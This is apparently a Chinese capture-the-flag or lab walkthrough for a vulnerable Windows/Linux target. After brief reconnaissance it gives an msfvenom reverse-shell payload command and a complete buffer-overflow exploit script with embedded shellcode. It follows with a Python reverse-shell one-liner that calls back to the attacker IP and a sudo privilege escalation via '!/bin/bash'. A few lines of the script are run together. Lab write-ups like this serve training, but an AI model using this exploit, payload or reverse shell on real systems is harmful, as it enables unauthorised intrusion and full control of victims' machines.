文章目录
一、基础信息
二、信息收集
三、反弹shell
四、提权
一、基础信息
Kali IP:192.168.20.146
靶机 IP:192.168.20.155
二、信息收集
似乎开放了9999,10000端口,访问页面没有太多内容,扫描一下目录
dirsearch -u "http://192.168.20.155:10000" -x 403
有个bin目录,访问一下
将文件下载下来,后续不清楚咋搞了
看wp了解到后续又是涉及到缓冲区溢出漏洞,有点复杂了,不太懂,可自行搜索其他wp
如:https://blog.csdn.net/m0_62652276/article/details/135352714
下面直接写解题步骤
三、反弹shell
使用msfvenom创建反弹shell的负载
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.146 LPORT=9090 -b "\x00" -f py -o shellcode.txt
我们使用如下命令,将buf替换为shellcode
sed -i s/buf/shellcode/g shellcode.txt
创建exp.py
import socket
server = ("192.168.20.155", 9999)
rubbish = b'A' * 524
eip = b'\xF3\x12\x17\x31'
nop = b'\x90' * 16shellcode = b""
shellcode += b"\xba\x21\xd1\xd8\x7a\xda\xd7\xd9\x74\x24\xf4\x5f"
shellcode += b"\x29\xc9\xb1\x52\x31\x57\x12\x83\xef\xfc\x03\x76"
shellcode += b"\xdf\x3a\x8f\x84\x37\x38\x70\x74\xc8\x5d\xf8\x91"
shellcode += b"\xf9\x5d\x9e\xd2\xaa\x6d\xd4\xb6\x46\x05\xb8\x22"
shellcode += b"\xdc\x6b\x15\x45\x55\xc1\x43\x68\x66\x7a\xb7\xeb"
shellcode += b"\xe4\x81\xe4\xcb\xd5\x49\xf9\x0a\x11\xb7\xf0\x5e"
shellcode += b"\xca\xb3\xa7\x4e\x7f\x89\x7b\xe5\x33\x1f\xfc\x1a"
shellcode += b"\x83\x1e\x2d\x8d\x9f\x78\xed\x2c\x73\xf1\xa4\x36"
shellcode += b"\x90\x3c\x7e\xcd\x62\xca\x81\x07\xbb\x33\x2d\x66"
shellcode += b"\x73\xc6\x2f\xaf\xb4\x39\x5a\xd9\xc6\xc4\x5d\x1e"
shellcode += b"\xb4\x12\xeb\x84\x1e\xd0\x4b\x60\x9e\x35\x0d\xe3"
shellcode += b"\xac\xf2\x59\xab\xb0\x05\x8d\xc0\xcd\x8e\x30\x06"
shellcode += b"\x44\xd4\x16\x82\x0c\x8e\x37\x93\xe8\x61\x47\xc3"
shellcode += b"\x52\xdd\xed\x88\x7f\x0a\x9c\xd3\x17\xff\xad\xeb"
shellcode += b"\xe7\x97\xa6\x98\xd5\x38\x1d\x36\x56\xb0\xbb\xc1"
shellcode += b"\x99\xeb\x7c\x5d\x64\x14\x7d\x74\xa3\x40\x2d\xee"
shellcode += b"\x02\xe9\xa6\xee\xab\x3c\x68\xbe\x03\xef\xc9\x6e"
shellcode += b"\xe4\x5f\xa2\x64\xeb\x80\xd2\x87\x21\xa9\x79\x72"
shellcode += b"\xa2\x16\xd5\x68\xa0\xff\x24\x90\xe7\x7d\xa1\x76"
shellcode += b"\x8d\x91\xe4\x21\x3a\x0b\xad\xb9\xdb\xd4\x7b\xc4"
shellcode += b"\xdc\x5f\x88\x39\x92\x97\xe5\x29\x43\x58\xb0\x13"
shellcode += b"\xc2\x67\x6e\x3b\x88\xfa\xf5\xbb\xc7\xe6\xa1\xec"
shellcode += b"\x80\xd9\xbb\x78\x3d\x43\x12\x9e\xbc\x15\x5d\x1a"
shellcode += b"\x1b\xe6\x60\xa3\xee\x52\x47\xb3\x36\x5a\xc3\xe7"
shellcode += b"\xe6\x0d\x9d\x51\x41\xe4\x6f\x0b\x1b\x5b\x26\xdb"
shellcode += b"\xda\x97\xf9\x9d\xe2\xfd\x8f\x41\x52\xa8\xc9\x7e"
shellcode += b"\x5b\x3c\xde\x07\x81\xdc\x21\xd2\x01\xec\x6b\x7e"
shellcode += b"\x23\x65\x32\xeb\x71\xe8\xc5\xc6\xb6\x15\x46\xe2"
shellcode += b"\x46\xe2\x56\x87\x43\xae\xd0\x74\x3e\xbf\xb4\x7a"
shellcode += b"\xed\xc0\x9c"
buf = rubbish + eip + nop + shellcodes = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(server)
s.send(buf)
s.close()
然后赋予可执行权限进行执行,kali开启监听端口即可反弹
当前仍处于win虚拟环境当中,需要进行Win虚拟环境逃逸
由上可知当前环境有python环境,可利用python再反弹一次shell
/usr/bin/python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.20.146',8081));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('sh')"
python -c 'import pty;pty.spawn("/bin/bash")'
四、提权
尝试sudo提权,发现有可利用的信息
可进行提权,sudo尝试后提示输入命令
输入ls后在光标处输入!/bin/bash,提权成功